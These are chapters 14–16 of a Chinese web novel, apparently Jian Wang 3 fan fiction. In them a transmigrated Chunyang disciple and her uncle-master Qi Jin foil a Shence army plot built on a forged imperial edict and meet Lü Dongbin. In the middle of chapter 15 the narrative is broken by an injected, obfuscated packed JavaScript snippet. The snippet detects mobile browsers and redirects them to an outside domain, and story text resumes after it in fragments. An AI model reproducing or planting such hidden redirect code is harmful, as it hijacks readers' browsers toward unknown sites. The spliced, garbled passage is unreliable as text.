两只鸟儿似乎不大明白,倒是属于主系统的电子音向她发出了严重警告:“邪魔歪道,必须杜绝!” “呃……”谢流岚捂住仿佛被念了紧箍咒的脑袋,“知道了……” 李忘生啾伸出翅膀抚了抚她的脑袋:“一个灵魂两具身体的意思是,同一时刻侠士自身只能控制一具身体。另一具身体可由侠士置于安全位置,亦可由侠士设定行动目标,其间由系统监管,另外需注意……秘境系统的开启次数则是由两个身份共享。” 自然是选二,谢流岚毫不犹豫地竖起两根手指。 虽然系统一再警告,没有灵魂的身体只遵循最简单的行为逻辑,外人看来大约与傻子无异,但谢流岚还是觉得,既然有两具身体,还能分头行事,自是要充分利用。 且她隐约记得这一年的江湖有不少大事发生,三大主城还有门派都是…… “既然侠士已有成算……日后可在系统判定的安全节点随时进行灵魂转移。”李忘生啾叮嘱完,又道,“侠士可自行选择是否退出梦境,退出后所在地点为入梦前所在地,初次退出请侠士自行设定地图。” 世界地图在眼前徐徐展开,谢流岚端详片刻,手指落在两个位置。 “地点已确定,是否现在退出秘境?” “是。” 一阵天旋地转之后,她感觉自己仿佛被人从衣服里拔了出来,又被塞进另一套紧身衣里。 谢流岚变成了洛长生,李忘生啾则稳重地蹲在咩太头顶。 长风吹起少年鬓边眉梢的雪,洛长生掬起一捧嗅了嗅,片刻后朝山门走去。 从今往后,她便是这纯阳宫中的静虚二代弟子了。 14.暗流涌动起波澜 退出秘境后迷迷糊糊再度入眠,似乎没过多久,洛长生就被一道声音叫醒了。 “师叔,师叔,你起了吗?” 那声音其实压得很低,似乎只要她没有应答,来人便会悄悄退回去。 奈何洛长生穿越以来琐事缠身,更兼习武修道之人耳聪目明,加上那语气中的急切不容忽视,自然很轻易便被惊醒。 被子里的人动了动,又安静几秒,似乎在酝酿什么,而后猛地坐了起来。 “稍等。”洛长生顿了顿,又加上一句,“去屋里。” 熟悉穿戴完毕,她推开门走出去,却正对上一个被冻得有些发红的鼻尖。 “晓元。”洛长生无奈地唤了声小道士的名字,试图用眼神传递自己对对方没有乖乖听话的不满,可惜毫无用处。 自从她把这个小师侄从山路旁救回来,这孩子就黏上她了,不管她的表情多么冰冷,语气多么严肃,谢晓元似乎都认准了她是最可靠的长辈,明明从年纪上看,他们差不了几岁。 或许是因为,她是眼下纯阳宫里静虚一脉辈分最高的人吧。 洛长生上山的时候,洛风已经带着其他静虚二代弟子外出寻师,而在纯阳其他弟子记忆里,她成了因为年纪太小而被留下来看顾三代弟子的留守人员。 门派任务太过遥远,洛长生只隐约记得几件大事,还不知道具体时间,只能每日多往几位师叔面前晃晃,好触发什么任务剧情,顺便叮嘱静虚三代弟子不论是受了委屈还是发现异常,都要及时告诉她。 然而,意外还是发生了,或者说,纯阳的命运遵循了原本的轨迹。 日前莲花峰上的狼群频频异动,每到月圆之夜便狂性大发,咬伤了不少人,洛长生受师叔清虚子于睿所托,与清虚门下弟子燕小芸一并协助刘仲言前辈设阵镇压狼群凶性,可惜对消减狼王戾气毫无帮助。 这狼王曾受吕祖点化,常年在思过崖修行,偏偏最近忽然发狂,洛长生本能感觉事情有异,还有强烈的既视感,便在刘前辈出手将狼王重伤时暂时护住了它的性命。 “师弟这是要做什么?”燕小芸问她,却也忽然眉头一皱,“你有没有闻到……” “香味。”洛长生指着已动弹不得的狼王,“它的眼睛。” 那是双清明温驯,似有悔意的眼睛。 “咦?”燕小芸神情凝重,“这奇异的香味……狼王一事必有蹊跷,我先回去禀报师傅,至于这狼王……虽然可能受人操控,但毕竟害了我宫中弟子性命,既已重伤至此,便看它自己的造化吧。师弟可要与我同去面见师傅?” 洛长生自是点头应允。 之后在于睿和上官博玉两位师叔指引下,他们一路查到东瀛人头上,长生本以为能提前解除一个隐患,不料却收到昨夜神策突袭,抓走大量弟子的消息。 她急急忙忙往回赶,在一处道边正好撞见哭泣的谢晓元,便把这受伤的小师侄背上了山。 而谢晓元之所以这么早便来寻她,也是因为她先前说今日会和几位师叔商议解围之法。 两人一路行至三清殿前,远远便瞧见有个人影在阶前站着,端的是丰神俊朗,怎奈何阴沉着一张脸,使人不敢轻易近前。 “是……是祁太师叔。”谢晓元说着,下意识便缩到长生背后。 紫虚子祁进,原本乃是当今圣上一手建立的秘密组织凌雪阁的精英,因知自己受歹人蒙蔽误杀忠良深感愧疚,加之受吕祖感化日久,遂脱离凌雪阁,成为吕洞宾座下弟子。 也因为这段过往,祁进对师傅吕洞宾与纯阳情谊深厚,自是对当初打伤恩师叛出师门的谢云流极为不满,也不喜洛风为首的静虚弟子一心寻回谢云流的做法,与他一脉相承,紫虚弟子也常与静虚弟子发生冲突。 譬如,前些日子静虚弟子方轻崖便因紫虚弟子古浩对自己师祖出言不逊而出手伤人,后来不辞而别,好在方轻崖的师弟荆空儿追了上去,二人也因此避开了神策之乱。 类似种种,不胜枚举,真是冤孽。 谢晓元惧怕祁进实属正常,长生便轻轻拍了拍小师侄的背,指向一旁正往这边瞧的清虚二弟子金昀,低声嘱咐:“去找你金师叔。” 谢晓元可怜巴巴地看了她一眼,大抵因祁进气势太过恐怖,还是乖乖离开了。 同为静虚弟子,洛长生倒是不怕祁进,且从某种意义上来说,还称得上有恃无恐。 毕竟她跟这人实在太熟,站在祁进面前,脑袋里最先想到的,不是“定要他舍了纯阳,重归于我”就是“血海深仇是你,情之所钟是你”,还带着声音反复循环,生不出一点惧意。 祁进看见她,脸色似乎更差了:“你来做什么?” 洛长生依旧是一张面瘫脸,对他拱手行礼,答道:“议事。” “没像你那些师侄一般被俘已是你的幸运,这种时候跳出来,是生怕神策军发现不了还有漏网之鱼吗?”祁进怒斥道,“你入门不久,当初在长安隐瞒静虚弟子身份与我相交,暂且不论目的为何,总归有恩于我,我且认你与那些叛逆不同,他们咎由自取,你休要插手。” “师叔好意,长生心领,只是恕长生难以从命。” “哼,他若真要冷眼旁观,那才是令人寒心。”一高大身影从殿后走出,最引人注目的却是他身后巨剑,来人正是金虚子卓凤鸣,他与祁进在对静虚一脉的态度上始终争执不休,二人又皆是直来直去的性子,日前吵了一架,至今未能和好。 卓凤鸣看也不看祁进:“有些人只会穿凿附会,人云亦云,张口闭口就是叛逆。若说为了纯阳,哪个没有忠心?人心都是肉长的,看着他们受苦,怎么没有一点恻隐之心?”* 祁进也不看他,语气同样冰冷:“那群叛逆不值得怜悯。上梁不正下梁歪,谁知道他们有什么狼子野心?有些人难道已经忘了师傅他老人家当年为何受伤了吗?”* “你们两个都且住嘴。”又是一道身影走出,喝止了二人。 “于师姐。”祁进与卓凤鸣在于睿面前,倒停止了阴阳怪气,卓凤鸣又问,“掌门呢?” 于睿只答:“师兄另有要事。” 头上的李忘生啾扇了扇翅膀,长生得到提醒,也立刻跟着行礼:“师叔。” “多亏你前些时日明察秋毫,才发现那狼王异常,小芸已经你们探查所得尽数上报,我心中已有猜测,你可不必再担忧狼群所中幻药一事。”于睿温和地看着她,笑道,“至于你此次来意,我亦已知晓,只是我想先问问你,有何想法?” 洛长生先问:“神策军来意可与静虚有关?” 这里的人皆知晓那些陈年旧事,于睿便坦诚道:“将聂冲等人带走的神策将领确实声称,是为大师兄重返中原一事。” “哼,就知道这些人早晚为纯阳招来祸端!”祁进愤然,“可那些神策军不止抓了静虚一脉,其他弟子无辜受牵连,真是无妄之灾……唉!” 卓凤鸣反驳:“这话实在有失偏颇。” 洛长生则只看着于睿,问道:“神策可信?” 于睿在心里暗叹一声,这也是个喜欢直来直去的,幸好还愿意动动脑子。 她摇摇头,答道:“可信与否,皆无证据。” 祁进皱眉,于师姐智谋冠绝天下,他向来信服,不由追问:“此话怎讲?难道那些神策军另有图谋?” 卓凤鸣也疑惑道:“可我纯阳乃是国教,除却静虚旧事,与皇家并无冲突……” 洛长生干脆道:“我去调查。” 于睿似乎对她的反应早有预料,只是笑着点点头,又转向祁进和卓凤鸣,道:“此事关乎纯阳安危,两位师弟若有闲暇,不若与长生一道,助他一臂之力。” 也免得二人凑在一处,又争执不休,让她和掌门师兄左右为难。 卓凤鸣先道:“事关静虚,有的人难免凭借私心行事,我不放心。哼,若不是有人拦着,神策抓人那夜我便已将他们拦下。长生师侄若有需要,可随时来寻我。” 祁进被他一激,亦是十分不满:“那人带了圣旨,若我不曾拦你,纯阳便是公然与朝廷作对,介时纯阳弟子尽数危如累卵,又当如何?” “朝廷——哼!”卓凤鸣向来把纯阳内乱归结于朝廷权力斗争,最是不喜这套说辞,闻言更是火冒三丈,加上祁进效力于凌雪阁的过往…… “噤声。”于睿被他们吵得十分头疼,“长生,你来选。” 外敌当前,纯阳上下当同仇敌忾,恰是消解旧怨的好时机,若是这小师侄动动脑筋,便该知道应当选谁作为助力…… 洛长生的目光落在几位师叔面上—— 于睿秀眉微蹙,似乎为两位师弟的争吵颇为烦恼,可从那双睿智而平静的眼眸里,她分明瞧出了成竹在胸的笃定,还有一丝……若隐若现的狡黠。 卓凤鸣则站在她身旁对祁进怒目而视,明显有为静虚一脉撑腰之意。 至于祁进,则只是淡淡瞥了她一眼便别开脸去,似乎隐有恨铁不成钢的意思。 头上的李忘生啾打量着她平静的脸,好奇道:“侠士是否早有答案?” “不错。”洛长生在心中答道,同时对卓凤鸣行了一礼,“多谢卓师叔厚爱,只是这一回,长生想请祁师叔相助。” 她又转过身对祁进俯身:“不知祁师叔可愿出手?” 既是紫虚一脉最常与静虚起冲突,化解旧怨的关键自然当从偏见最大的紫虚子入手,这是长生一早的计划,却恰与于睿不谋而合。 于睿嘴角微翘,事关纯阳,祁师弟自是不会拒绝,至于还未回过神的卓师弟,待长生师侄和祁师弟离开后,她自会向卓师弟解释…… “既然如此,就快些去吧。”于睿给了洛长生一个让她安心的眼神,又补充道,“晓元就暂且交给我那徒儿金昀照料,她二人向来亲近。此外,静虚三代弟子中,封伶因不在观中,亦逃过一劫。至于他的去向,问你祁师叔便知,我与你卓师叔便先行一步了。” 待于睿与卓凤鸣离开,洛长生仰脸望着祁进,头上的李忘生啾已是满脸笑意。 祁进避不开她的眼神,只是忽然想起月前在长安时的旧事。 彼时中秋刚过,他在长安办事,偶遇昔年在凌雪阁时的大哥姬别情身陷险境,遂掷剑相救,怎料经年已过,姬大哥却仍是希望他重归凌雪……他比武险胜却也受伤不轻,长生便是那个时候出现的,和当年他救下姬大哥的情景何等相似…… 他未曾料想会与姬别情落得两厢争斗的结局,甚至因此被揭穿与之岚的血海深仇……亦不曾料想这 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只不过当他跟长生赶到龙骨崖时,却见那些被关押的关中草寇和双煞喽罗正在以洛风下落为饵,诱骗封伶将他们放出,且封伶竟还信了。 他刚要出手砍了那些贼人,却被长生拦住,不解道:“你这是作甚,封伶不是你师侄?” “吃一堑长一智。”长生闷闷道。 祁进闻言失笑,摇头骂了一声:“蠢。”说的自然是封伶识人不清。 长生也不护短:“便是因为蠢。”这次是她和祁进及时赶到,若还有下次呢?她作为师叔,自是也要担起教导弟子的职责。 等封伶轻信了那些贼人将他们放出,自己反被关起来时,长生才和祁进一同现身,后者手中还拖着两名已经晕过去的贼首。 “师叔……”封伶险些铸成大错,见到长生几乎瞬间哭了出来。 他哭得实在惨,祁进张了张嘴,看在长生面子上,终究没再训斥几句。 长生踮起脚,拍了拍师侄的脑袋:“知错能改,善莫大焉。” 封伶愧疚难当,自请在龙骨崖思过,却被祁进骂了:“我纯阳宫如今多事之秋,若纵着你们这些轻狂之人在外胡来,不知要惹多少祸端。等风波平息,你爱思过多久便思过多久。” 眼见封伶脸红得直想找个地缝钻进去,长生便道:“你且去云鹤斋,守着梦阳师叔罢。” “师叔!”封伶脸更红了,这次大抵不是因为愧疚,而是因为他和刘梦阳的徒弟琳儿两小无猜,感情深厚。 祁进不明所以,但也没有反对长生的安排,只是不近情面地问道:“你守在此处,可曾听闻神策军有何异动?” 封伶小心翼翼地看了他一眼,摇摇头,小声道:“我只知道神策把聂师兄他们关在朝阳峰,据、据说是……是审问有关我师父的事……” 说着他眼眶又是一酸,泪眼朦胧地看着洛长生:“师叔,那些神策军凶神恶煞,师兄他们恐怕……你能、能救救他们吗?” 祁进正要开口反对,却被长生拽了拽,又见她指向一旁的两个贼寇,莫名懂了她的意思。 “你是说,既是不想暴露纯阳身份,或许可以伪装成此二人?”祁进若有所思,他固然不喜静虚一脉,但空雾峰还有其他无辜弟子,神策行事又颇为蹊跷,走这一遭也未尝不可。 长生点点头,祁进又提醒道:“但若要伪装,便不可使用纯阳武学。” 他倒是可以,可是洛长生……长生已经自顾自扒起了贼人的衣服,听到这话只递了个让他放心的眼神——长生也是前不久才发现,如果她某一项百战技能达到十层,便可在现世使用,用来伪装师承再好不过。 二人做好伪装,便沿着上朝阳峰的山道一路急行,恰好在途中遇到正与神策作战的聂冲。 “狗贼们,你们放马过来吧,我今日与你们势不两立!”聂冲已经身负重伤,只能且战且退,心里惦念着回山送信与救援其他弟子,嘴上却也片刻不休,“我们纯阳弟子绝不会向这些狗贼低头!” 恰在这时,两道看似平平无奇的剑光从天而降,霎时砍翻一众神策追兵,救下他后却脚步不停,径直往空雾峰去了。 “前辈!”聂冲不由大喊,“多谢前辈出手相救,聂冲自知此言冒昧,可是师兄弟生死未卜,我三师妹秦鹤还被神策军带到灵犀谷道单独审讯,她生性偏激,我实在担心……” “知道了,滚回去治伤!” 一道熟悉的声音从天边传来,聂冲却愣在了原地——这声音是……祁太师叔?怎么可能?明明神策抓人时,祁太师叔还拦着卓太师叔救人,说他们这些叛徒被抓了才好…… 聂冲不知为何,眼眶一热,调息片刻后便拖着重伤的身体往山门走去,待他处理好身上外伤,便听说小师叔洛长风和祁太师叔联手把大家救了回来……原来竟不是他听错了。 小师弟谢晓元听说他受了伤,赶过来照顾,也感慨道:“多亏小师叔及时回来……” 聂冲不由问:“他们人呢?” 谢晓元答道:“我听金师叔说,小师叔和祁太师叔暂时留在了紫霄宫。” “紫霄宫?”聂冲想到什么,心里陡然一惊,“难道神策的目的竟然是…… “郁清公主?” 15.万里寻踪因何故 紫霄宫中,镇守此处的陈玄礼将军看着面前一高一矮两个不速之客,险些拔剑便刺。 祁进及时摘下面巾露出真容,这才避免刀剑相向。 “不知紫虚子深夜到访,是何用意?”陈玄礼疑惑道,虽收了剑,却也不曾将手挪开。 祁进直接将一卷圣旨与一封密信扔到桌上,问:“将军可知神策此来所为何事?” 陈玄礼的目光落在他身上,又看了看一旁面无表情的洛长生,先问道:“这位是……” “静虚弟子,洛长生。” 祁进指了指桌上密信,提醒道:“将军不妨先看看这两样东西。” 陈玄礼先展开密信,只见上面写着:“属下自钦犯李慕云在扬州出现以来,追踪数月,不远万里。现今钦犯已在我等控制之中,下一步行动请作指示。”* 他连声叹气,直道:“果然如此……我先前只猜到神策此来似乎是奉旨追查某个秘密。这个秘密不但和纯阳有关,还和公主有关。却不料……竟真是与慕云贤弟有关。不知这密信从何而来?” 祁进答道:“来此路上偶遇鬼祟之徒跟踪,观其形迹可疑,暴露后还欲杀了我二人灭口,遂杀之,密信正是从那人身上得来。” 陈玄礼张了张嘴,看祁进表情轻松淡然,一旁的长生亦是如此,才道:“不知二位可曾听闻神策军中有精锐杀手冷血十三鹰,其中飞鹰陆寒平擅长轻功跟踪,我近来确实听闻他们也到了纯阳,此前不知是要跟踪何人,眼下倒是真相大白了……” 他顿了顿,又好心提醒:“此事关系重大,你们纯阳弟子最好不要轻举妄动,否则,我恐怕会牵连你的师门。” 陈玄礼话音刚落,却见洛长生把刚刚覆面用的面巾重又戴上,只露出两只眼睛看着他。 祁进按捺住扶额的冲动,解释道:“我这师侄性格有些孤僻,他的意思是,我们未曾暴露纯阳弟子身份。此前我二人已隐藏身份,将被神策掳走的纯阳弟子送至别处,却见神策军似乎欲对郁清公主不利,故而来寻将军。” 陈玄礼这才发现他二人身上穿的似乎是……呃,神策士兵的军服? 祁进淡淡道:“陈将军,实不相瞒,我二人前来时,神策军已将公主所在密林别院团团围住,公主身边的上官女官本想出来求救,但我师侄恐怕这是神策军引蛇出洞之计,暂且安抚住女官,由我二人来寻将军。” “坏了!”陈玄礼忽地一拍大腿,解释道,“引蛇出洞恐是无疑,只是无关是否有人来此求救,只要看到公主所在地被围……密信所说之人必会放心不下!唉,慕云贤弟……不知二位能否再跑一趟,免得他中计啊!个中缘故陈某之后必会和盘托出……” 他话音未落,一道身影已经从面前消失,祁进平静地站在原处,又指了指一旁的圣旨:“我这师侄武功高强,将军不必担心,不妨先看看这道密诏。” 陈玄礼难免联想到有关祁进过往的传闻,且他之前就有所怀疑,翻开圣旨仔细检查过后愤恨道:“果然是伪诏!这可是欺君罔上、足以株连九族的大罪!难怪那些来宣旨的神策军竟要将圣旨带走……既有此证据,我必要参那杨叶中一本!” 话音刚落,一道愤怒的声音便从帐外传来:“杨叶中这个狗贼!果然是他……我一定要亲手杀了他!” “慕云贤弟……你没事吧!”陈玄礼迎上去,从洛长生手里接过受伤的李慕云。 “多亏了这位洛少侠。”李慕云苦笑道,“否则,我恐怕便要折在神策设下的陷阱中了,只是公主……我实在放心不下……” 一旁的祁进正盯着长生,问:“可有暴露行踪?” “我用了障眼法。”长生答道,又从怀里掏出一封信,递给祁进。 祁进皱眉问道:“这又是何物?” “霍方给的。” 祁进想起霍方乃是洛风的二弟子,不禁疑惑:“你们遇上了?” “证据。”长生只道,又拎起剑往外走,“我去帮他。” 陈玄礼恍然,对祁进解释:“近日确曾听说观日峰上有个叫霍方的纯阳的弟子领着师兄弟和神策军争斗……” 祁进啧了一声,定定看着那封信,半晌后将它放回怀中——既是证据,回头一起看吧。 他看了眼一旁正包扎伤口的李慕云,问道:“陈将军,这位难道就是神策军真正的目标?” 陈玄礼看了眼李慕云,为他介绍:“这位是纯阳宫紫虚子,慕云贤弟,你们家的事……” 李慕云对祁进一礼,苦笑道:“既是纯阳道长,便由我亲口来说吧……” 李慕云,这并非他本来的名字,他本名王云慕,与郁清公主相遇时,还是当时河西节度使王倕的公子,父亲仕途前景光明,颇得圣上信重,他也幸得圣上召见。 彼时的他壮志凌云,意气风发,连长安城的风似乎都格外眷顾这样的少年。 站在御书房外等候传召时,竟有一只风筝从天而降。 他将那只风筝捡起,只见上面写着两行诗,清纯如玉,婉约动人,只是字里行间却有种说不清道不明的哀愁。少年王云慕心中感怀,提笔往上面续了两句诗,权当慰藉。 风筝后来被宫人要回,王云慕竟有些怅然若失,后来他才知道,那风筝的主人竟是圣人的爱女郁清公主。 许是姻缘天定,郁清公主随圣上往纯阳祭天,他恰好有幸随侍在侧,相处日久,情意渐浓,且公主的养母梅妃与圣人都对这桩婚事乐见其成,赐婚的圣旨已下,只带来年开春。 情投意合的爱人,青云直上的仕途,美好的未来似乎触手可及。 最终,却都被猝不及防地埋在了天宝元年的冬天里,来年开春成了永远到达不了的梦。 李慕云说到这里,眼中涌出泪来,声音也在颤抖。 帐中不知何时又多了一个人——长生已经提着她的剑回来了,雪名沾了神策兵的血,又在华山的雪中浸过,不见煞气,只有冷意。 “一切都因我识人不清,错信了那杨叶中。”李慕云说起这个名字便咬牙切齿,恨不得生啖其肉,“天宝元年十二月二十九日,我随父亲率军攻打新城,却被歹人出卖,身陷险境,最终流落东瀛。” “歹人身份不明,我在海外辗转多年,终是放不下郁清,便隐姓埋名回了中原,想先探得郁清下落。”李慕云叹了口气,“我原本只想见她一面,若她过得很好,那我便也知足了,可她竟然……我没想到她竟然会在那之后出家隐居,不愿再涉红尘。” “可恨那时我依然不知杨叶中歹毒心思,还以他为旧友……”已遍历坎坷的年轻人拭去颊边泪水,双手紧握成拳,“我与他少小相交,同入羽林,也曾出生入死,可他……他竟然就是当年为求荣华将我们的进攻计划卖给敌军的叛徒!” “我与父亲险些惨死沙场,同袍兄弟死伤无数,皆因为这个狗贼!他还反向圣上诬告,我王家上下六十余口因此丧命,而现在,他竟然还妄想染指公主……我绝不会放过他!” 说罢,李慕云朝祁进与长生拱手:“神策军进入纯阳,且把公主住处团团围住,恐怕皆是因我而起……李某自知扰了纯阳清静,请道长允我杀了那狗贼再来告罪!” “杨叶中……的确该死。”祁进冷声道,扶起李慕云,肃容道,“我纯阳上下皆知晓孰是孰非,也认得清罪魁祸首是谁,那杨叶中已不再是你一人之敌。” 陈玄礼亦是叹了口气:“慕云贤弟骤然识得杨叶中真面目,匆匆逃出怕也被他发现,可又恰逢废帝李重茂似有起事之意,慕云贤弟父子与他又皆从东瀛来,便被那杨叶中打为李重茂党羽,加上昔年纯阳旧事……如此,那杨叶中才师出有名。” 欲解神策之围,难也难在这“师出有名”。 洛长生思索片刻,抽出一旁的圣旨,提醒道:“伪诏。” 陈玄礼立刻点头:“不错,杨叶中打的名号是为捉拿李重茂党羽,可是伪造圣旨,对公主图谋不轨,却亦是罪无可恕,陈某这便修书一封,禀报圣上,只是慕云贤弟的冤屈……” 栽赃诬陷蒙蔽圣听的虽是杨叶中,可下旨处死王家上下六十余口的,却是皇帝。 自古以来皇帝以圣人自居,圣人何错之有,误听谗言怨杀忠良之事自是不只王家一桩,可此等冤案能当朝翻案的可能近乎于无…… 李慕云少年便入仕途,对这等潜规则自是一清二楚,听得陈玄礼之言,也不过惨然一笑:“我知道,此番也多谢陈将军了。慕云余生不过两个念想,一是再见公主一面,二是杀了那杨叶中,为我王家上下报仇。” “若只这两件事,倒也不难。”祁进沉吟道,“只是第一件事必先挣得公主本人与潮音仙子同意。”他自己情路坎坷,感同身受之下,自是不愿有情人抱憾终生。 至于第二件事,杀一个神策狗贼,对他来说自然不是难事,难的是让神策军离开纯阳…… 袖子忽然被人扯了扯,祁进抬头便见长生指了指他的胸口,那里正露出一角信封。 “你没看?” 祁进摇摇头,轻哼一声:“我若先行拆开,只怕你们静虚门下怀疑我篡改证据。” 他觉得洛长生似乎翻了个白眼,似乎在说:我若不信你,为何要将这信交给你? “到底事关重大,带回去请于师姐与掌门师兄看过再议。”祁进一锤定音,又问洛长生,“杨叶中,去吗?” 长生自是欣然应允,李慕云也一同随行,待这三个人影消失在帐外,仿佛被无视的陈玄礼才摇摇头,伏在案前开始写奏疏。 另一头,洛长生三人沿着密林悄悄往神策营中潜入,一路上不止见到神策军,还看见几个江湖人,李慕云忽然想起什么,忙说:“我今日曾听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409122|183490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不少江湖人士议论纯阳宫中似有至宝,这些人想必正是为此蜂拥而至。” “纯阳至宝不过大道至简。”祁进摇头,不屑道,“恐怕又是那杨叶中宣扬出去的消息,意在将水搅浑,歹人扰我纯阳净土,实在可恨。” 长生若有所思,拉住祁进,指了指不远处几个江湖人身上的装束,轻声道:“内讧。” “又要换衣服?”说来好笑,但这的确是紫虚子的第一反应,不过他很快便明了长生意图,补充道,“只靠我们三个改换装束恐怕不足以生事,还需一个引子,譬如,一封书信。” 既然杨叶中敢伪造圣旨,他们为何不能以牙还牙,伪造书信一封,挑起神策军与那些不怀好意的江湖人士的纷争? 于是,陈玄礼便见这三人去而复返,借他奋笔疾书了什么,又匆匆离开了。 是夜,他从梦中惊醒,只听得雪竹林东北边沸反盈天,出去一瞧,隐约还有火光,没过多久便有神策军来向他求救,言说武骑尉杨叶中杨大人被突然作乱的江湖人乱刀砍死,请求禁军援手,可陈玄礼追问这神策兵与武林人士缘何起了冲突,对方却支支吾吾说不清楚。 陈玄礼思索片刻,只推脱道:“陈某只奉圣上旨意护卫公主,若你说不明根由,为免敌人调虎离山,羽林军不可轻动。” 那神策士兵见说不动他,只得悻悻去了。 翌日清早,陈玄礼再出门,就见雪竹林闹事已经平息,他的奏疏也已与昨夜快马加鞭送至长安,纵是那杨叶中已然身死,生前罪名仍需由圣上定夺。 一路上未曾见到那三位义士,陈玄礼心有所感,便往密林别院的公主住处走了几步,果然远远看到两个身影。 祁进和长生立在树干上,看起来似乎一夜未眠,却都精神十足,两人目光都落在一处。 陈玄礼定睛一看,那水池边的不是李慕云又是谁? 他又听祁进道:“你说潮音仙子为何阻止李慕云与公主相见?那黑铁石……真能洗白?” “精诚所至,金石为开。”长生只淡淡回道,又回头看向陈玄礼,“陈将军。” 祁进亦回头问好,主动解释:“昨夜杨叶中与他亲自找来的江湖人士起了内讧,争斗中不幸遇害,神策军失了统领,已是一盘散沙。洛风等人已找到证据,谢云流不曾谋反,掌门师兄已致书长安。” “陈某亦已书奏陛下,想必不久便能知道结果。”陈玄礼松了口气,又好奇道,“慕云贤弟这是……” “我等已将他从西域找到的相思种交给公主,公主亦对他念念不忘,只是公主的师傅潮音仙子不愿轻信李慕云,只怨他当初不告而别,令公主伤心。”祁进指了指远处,“此为考验,他必须将那黑铁石洗白,方可通过。” “这……”陈玄礼看着那在冰冷雪水中清洗石头的李慕云,迟疑道,“真能实现?” “精诚所至,金石为开。”祁进这么回道,被长生瞪了一眼,便无甚威严地轻斥了一句,“目无尊长。” “紫虚子与洛少侠皆是侠肝义胆之人,又有如此情谊,实在令人艳羡。”陈玄礼只觉得这二人虽是师叔师侄,却犹如平辈相交,笑着直抒胸臆,却换来两个莫名其妙的眼神,直令他摸不着头脑。 这时,长生忽然捂住左臂,险些从树梢跌落,幸而被一旁的祁进及时扶住。 祁进脸上难掩焦急:“怎么回事?” 长生摇摇头,正在脑海中连连呼叫系统。 这一日来始终老怀甚慰地看长生与祁进联手行动的李忘生啾也不安地扇着翅膀,忙里忙慌地联系远在洛阳的九州百人语。 似乎过了很久,那边才传来回音,不知道算不算好消息。 “宋南天跟宋笑声被我和陶寒亭联手宰了,方紫霞受了轻伤,人没事,楚小妹一家也平安无事,可是(鸟语花香)(鸟语花香)陶寒亭为什么还是有了黑化迹象啊!” 李忘生啾长叹一声:“白衣孟尝秉性刚烈,世道如此,只愿有紫霞仙子从旁相劝,他不至于再入恶人谷。” “难说……先不说了!这群(鸟语花香)的神策军,本大爷一刀砍了你!” “方一琳。”洛长生忽然开口,李忘生啾领会了她的意思,忙叮嘱战意上头的小鹦鹉,得了句暴躁的“知道了”便断了通信。 祁进只见师侄忽然脸色发白,口中呢喃了一句话,却不曾听清她说什么,只得一边为她探查经脉,一边连声呼喊:“洛长生?洛长生!” “我没事……” 缓过方才那股子疼痛——大概率是因为另一具身体遇险所致,长生的脸色慢慢恢复过来,一抬头却见水池边的李慕云已经没了踪影,反而有个仙风道骨、不似凡人的老人家望着他们,看名字乃是山石道人。 山石道人……不就是……吕祖? 洛长生变成了一座小羊石雕。 16.比翼随风各自安 洛长生也不知眼前这场景是如何发生的。 仿佛只是一眨眼的功夫,山石道人便到了他们面前,又找不远处的潮音仙子说了几句话,惹得潮音仙子极为失态,却也松了口,答允李慕云与郁清公主见面。 接着,山石道人便又朝他们走过来,先是向陈玄礼问好,请他去看顾公主,又拍了拍祁进的肩,夸了三声“好”,就让祁进变了脸色,旋即也往公主他们所在的方向去了。 洛长生独自被留下,心里有些忐忑,毕竟眼前这位可是吕洞宾吕纯阳,能当得起神仙之名,和这个世界的其他人根本不在一个层面。 却见山石道人伸出手,往她眉心一点,转眼间便似乎到了另一个地方。 更离奇的是,她头上的李忘生啾挥着翅膀飞了起来,竟然摇身一变,成了真正的李忘生! “师傅。”李忘生对山石道人行了个弟子礼,笑着转向目瞪口呆的长生。 山石道人的目光从李忘生脸上移到长生眉眼,抚摸着胡子笑道:“忘生,你看云流这小徒弟,是不是和你少年时有七八分相像?如此也是有缘。” “初见之时甚是惊讶,不过大师兄至今只于梦中见过一次,反应……”李忘生可疑地沉默了一秒,“甚是有趣。” 山石道人又是开怀大笑,随后看着僵如泥塑木偶的长生,调侃道:“长生娃儿,怎的呆了这般久?你不是号称掌门最喜欢的小羊吗,难不成是叶公好龙?” 长生呆呆地摸了摸自己的头顶,语无伦次道:“吕祖……掌门……系统……” 李忘生摇摇头,叹道:“师傅,恐怕还是太急了些。” “然而我们瞒天过海、鸠占鹊巢的时日可不短了。”山石道人笑着将手伸向长生发顶,“合该早日回归原位。” 恍惚间,洛长生只觉有一股温暖的“气”从自己体内升起,一朵轻盈的云凝结在她的头上,而吕祖轻轻一抚,便撷来了那朵云。 云团之中,李忘生啾——不,现在长生可不敢这么称呼,小鸟缩成一团,正在其中酣睡。 长生迟疑道:“系统?” “真正的那个。”吕祖将云团送到她面前,长生连忙双手托住,解释道,“异星降世,星盘动荡,命轨莫测,老夫只得出此下策,莫要见怪。” “所以之前一直是……”洛长生看看手里的肥啾,又看看旁边老成持重的李忘生,还是不敢相信。 话说回来,她穿越之后应该没做什么有辱师门的事……吧?有没有过什么难登大雅之堂或者不宜公开的想法?譬如捡一口谢李,拉一手all祁all之类的…… “师侄放心。”李忘生扯了扯嘴角,“鸠占鹊巢并不能拥有系统的全部神通。” 洛长生盯着他,总觉得掌门的表情不是这么说的,不过……嗑cp舞到正主面前,该是嗑的人更尴尬,还是正主更尴尬呢? 李忘生轻咳一声,转移话题:“这些时日,你为纯阳奔波劳碌,所作所为我与师傅均看在眼里……长生啊,辛苦你了。” 长生很是不好意思:“其实这些天主要是祁师叔……” 山石道人叹了口气:“进儿是你们几人当中最为耿直,性格也最为刚烈的那个,多年以来他始终对云流之事耿耿于怀,纵是知晓云流当初乃是误会,亦有苦衷,却依旧难以放下。乱象将起,我本欲自己出面劝解弟子,却终究是下策,如今……应是不同。” 